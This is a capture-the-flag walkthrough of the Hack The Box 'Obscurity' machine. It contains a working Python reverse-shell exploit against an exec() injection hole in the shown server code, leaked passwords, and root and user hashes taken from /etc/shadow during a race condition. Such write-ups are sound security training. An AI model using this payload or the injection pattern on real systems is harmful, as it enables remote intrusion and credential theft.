HTB Obscurity Write-up

HTB Obscurity Write-up

Foothold

Nmap scan provides:

Nmap Result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PORT     STATE  SERVICE    VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Mon, 30 Mar 2020 14:31:13
| Server: BadHTTPServer
| Last-Modified: Mon, 30 Mar 2020 14:31:13
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
|_ <div class="sk-spinner sk-spinner-wordpress">
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener

Browsing the page at http://10.10.10.168:8080, I found a note for developers saying:

Server Dev

Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory.

To find the corresponding directory, I guess gobuster could work but since we have the name of the file, I’m adopting a slightly different approch by using wfuzz with wordlists from dirb instead of dirbuster since it’s an orange box.

1
$ wfuzz -t20 -w /usr/share/dirb/wordlists/big.txt --hc 404 -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

That gave away the develop directory and the content of the SuperSecureServer.py is

/develop/SuperSecureServer.pylink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)

class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False

def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))

def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()

def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False

def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]

statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"


resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)

data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0

def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}

I immediately spotted the exec function call at line 139.

We can do a RCE with it! We just need to provide the command as part of the request path like we do with SQL Injection. Note that we need to close the single quote opened just before Document: then we can chain any command. We finish by making a random string assignation to match the end quote. I tried directly to obtain a reverse python shell appending the code to index.html'; in the path and of course, all URL encoded. I put it all in a script so I can recall how I did it next time.

exploit.py
1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
import requests
import urllib

URL = 'http://10.10.10.168:8080'

path = '/index.html\';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_address>",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);a=\''
payload = urllib.parse.quote(path)
requests.get(URL + payload)

And I caught a shell first try this time! NICE!

User Flag

Exploring around the /var directory, I didn’t found anything interesting. After jumping to the robert home dir, I found a bunch of stuff.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ls -la /home/robert
lrwxrwxrwx 1 robert robert 9 Sep 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr 4 2018 .bashrc
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct 3 2019 .cache
-rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt
drwxr-x--- 3 robert robert 4096 Dec 2 09:53 .config
drwx------ 3 robert robert 4096 Oct 3 2019 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct 3 2019 .local
-rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt
-rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct 4 2019 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 2019 user.txt

As expected, the user flag is not readable by www-data but what we can read is an encrypted password reminder text file and the python script used to encrypt it. Also we have two text files representing a cleartext and its cipher using the script.
From my experience with crypto challenges, sometimes when you face a symetric encryption based on “character masking” like xor, ordinal addition, …, decrypting the encrypted text using the cleartext as the key gives the key used during the encryption. I bet their is a term in crypto for such ciphers but I don’t know it by now. So I tried aaaaaaaannnndddd it works, I GOT LUCKY.

1
2
3
$ python3 SuperSecureCrypt.py -i out.txt -o key.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!" -d
$ cat key.txt
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

Using the same process on the passwordreminder.txt file with our new key gives SecThruObsFTW.
All we have to do now is spawn a TTY shell and switch to user robert.

1
2
3
4
5
www-data@obscure:/home/robert$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@obscure:/home/robert$ su robert
Password: SecThruObsFTW
robert@obscure:~/BetterSSH$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)

Root Flag

sudo -l shows we can execute sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py. That’s probably the secure replacement to SSH they were talking about in their homepage.

Reading the script, it seems that it dumps part of the /etc/shadow file in a temp file in /tmp/SSH folder, checks if the user is in the dump with the corresponding password before deleting that temp file. It became clear we need to have a look at that temp file before it gets deleted. In a nutshell, a race!
Using the watch command, let’s concatenate in a new session the content of whatever file inside the /tmp/SSH folder to a custom file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# ================== Session 1 =====================
www-data@obscure:/$ mkdir /tmp/rkhu
www-data@obscure:/$ mkdir /tmp/SSH
www-data@obscure:/$ watch -d -p -n 0.01 cp /tmp/SSH/* /tmp/rkhu/

# ================== Session 2 =====================
robert@obscure:/$ cd /tmp/rkhu
robert@obscure:/tmp/rkhu$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: something
Incorrect pass
robert@obscure:/tmp/rkhu$ ls
gGFkGpb8
robert@obscure:/tmp/rkhu$ cat gGFkGpb8
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

And there is the root hash! Pass it to hashcat and it produces the password mercedes.

Congratulations, you just rooted the box.